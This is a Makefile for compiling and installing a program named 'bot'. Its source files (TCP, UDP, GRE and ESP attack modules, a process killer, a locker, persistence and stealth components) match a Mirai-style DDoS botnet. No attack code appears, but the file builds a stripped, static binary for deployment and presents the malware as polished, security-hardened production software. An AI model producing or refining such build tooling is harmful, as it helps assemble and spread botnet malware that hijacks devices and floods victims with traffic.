# PRODUCTION-GRADE MAKEFILE
# Military-Grade Security Compilation
# =====================================

CC = gcc
STRIP = strip

# Security-Hardened Compilation Flags
CFLAGS = -std=gnu99 -Wall -Wextra -Werror \
         -Wformat=2 -Wformat-security -Wformat-nonliteral \
         -Wno-format-zero-length -Wno-unused-parameter \
         -D_FORTIFY_SOURCE=2 \
         -fstack-protector-strong \
         -fPIE \
         -O2 \
         -DDEBUG

# Linker Security Flags
LDFLAGS = -pie -Wl,-z,relro,-z,now -static

# Production Flags (strip debug, optimize)
PROD_CFLAGS = $(filter-out -DDEBUG,$(CFLAGS)) -O3 -s
PROD_LDFLAGS = $(LDFLAGS)

# Source Files
SRCS = bot/main.c \
       bot/attack.c \
       bot/attack_tcp.c \
       bot/attack_udp.c \
       bot/attack_gre.c \
       bot/attack_std.c \
       bot/attack_esp.c \
       bot/attack_udp_hex.c \
       bot/killer.c \
       bot/locker.c \
       bot/persistence.c \
       bot/defender.c \
       bot/resolv.c \
       bot/rand.c \
       bot/checksum.c \
       bot/table.c \
       bot/stealth.c \
       bot/chacha20.c \
       bot/util.c

OBJS = $(SRCS:.c=.o)

# Binary Targets
TARGET = bot
TARGET_DEBUG = bot_debug
TARGET_ASAN = bot_asan

# Default Target
all: $(TARGET)

# Production Binary (optimized, stripped)
$(TARGET): $(OBJS)
	$(CC) $(PROD_LDFLAGS) -o $@ $^
	$(STRIP) -s $@
	@echo "✅ Production binary built: $@"

# Debug Binary (with symbols)
debug: CFLAGS += -g -DDEBUG -O0
debug: $(TARGET_DEBUG)

$(TARGET_DEBUG): $(SRCS)
	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
	@echo "✅ Debug binary built: $@"

# AddressSanitizer Binary (memory bug detection)
asan: CFLAGS += -g -DDEBUG -O0 -fsanitize=address -fno-omit-frame-pointer
asan: LDFLAGS += -fsanitize=address
asan: $(TARGET_ASAN)

$(TARGET_ASAN): $(SRCS)
	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
	@echo "✅ ASAN binary built: $@"

# Pattern Rules
%.o: %.c
	$(CC) $(PROD_CFLAGS) -c -o $@ $<

# Static Analysis
analyze:
	@echo "Running static analysis..."
	@command -v cppcheck >/dev/null 2>&1 && \
		cppcheck --enable=all --suppress=missingIncludeSystem bot/ || \
		echo "⚠️  cppcheck not installed"

# Memory Leak Check
memcheck: debug
	@echo "Running valgrind memory check..."
	@command -v valgrind >/dev/null 2>&1 && \
		valgrind --leak-check=full --show-leak-kinds=all ./$(TARGET_DEBUG) || \
		echo "⚠️  valgrind not installed"

# Clean Build Artifacts
clean:
	rm -f $(OBJS) $(TARGET) $(TARGET_DEBUG) $(TARGET_ASAN)
	@echo "✅ Cleaned build artifacts"

# Install (requires root)
install: $(TARGET)
	install -m 755 $(TARGET) /usr/local/bin/
	@echo "✅ Installed to /usr/local/bin/$(TARGET)"

# Uninstall
uninstall:
	rm -f /usr/local/bin/$(TARGET)
	@echo "✅ Uninstalled"

# Help
help:
	@echo "Available targets:"
	@echo "  all       - Build production binary (default)"
	@echo "  debug     - Build debug binary with symbols"
	@echo "  asan      - Build with AddressSanitizer"
	@echo "  analyze   - Run static analysis (cppcheck)"
	@echo "  memcheck  - Run memory leak detection (valgrind)"
	@echo "  clean     - Remove build artifacts"
	@echo "  install   - Install binary (requires root)"
	@echo "  help      - Show this help"

.PHONY: all debug asan analyze memcheck clean install uninstall help

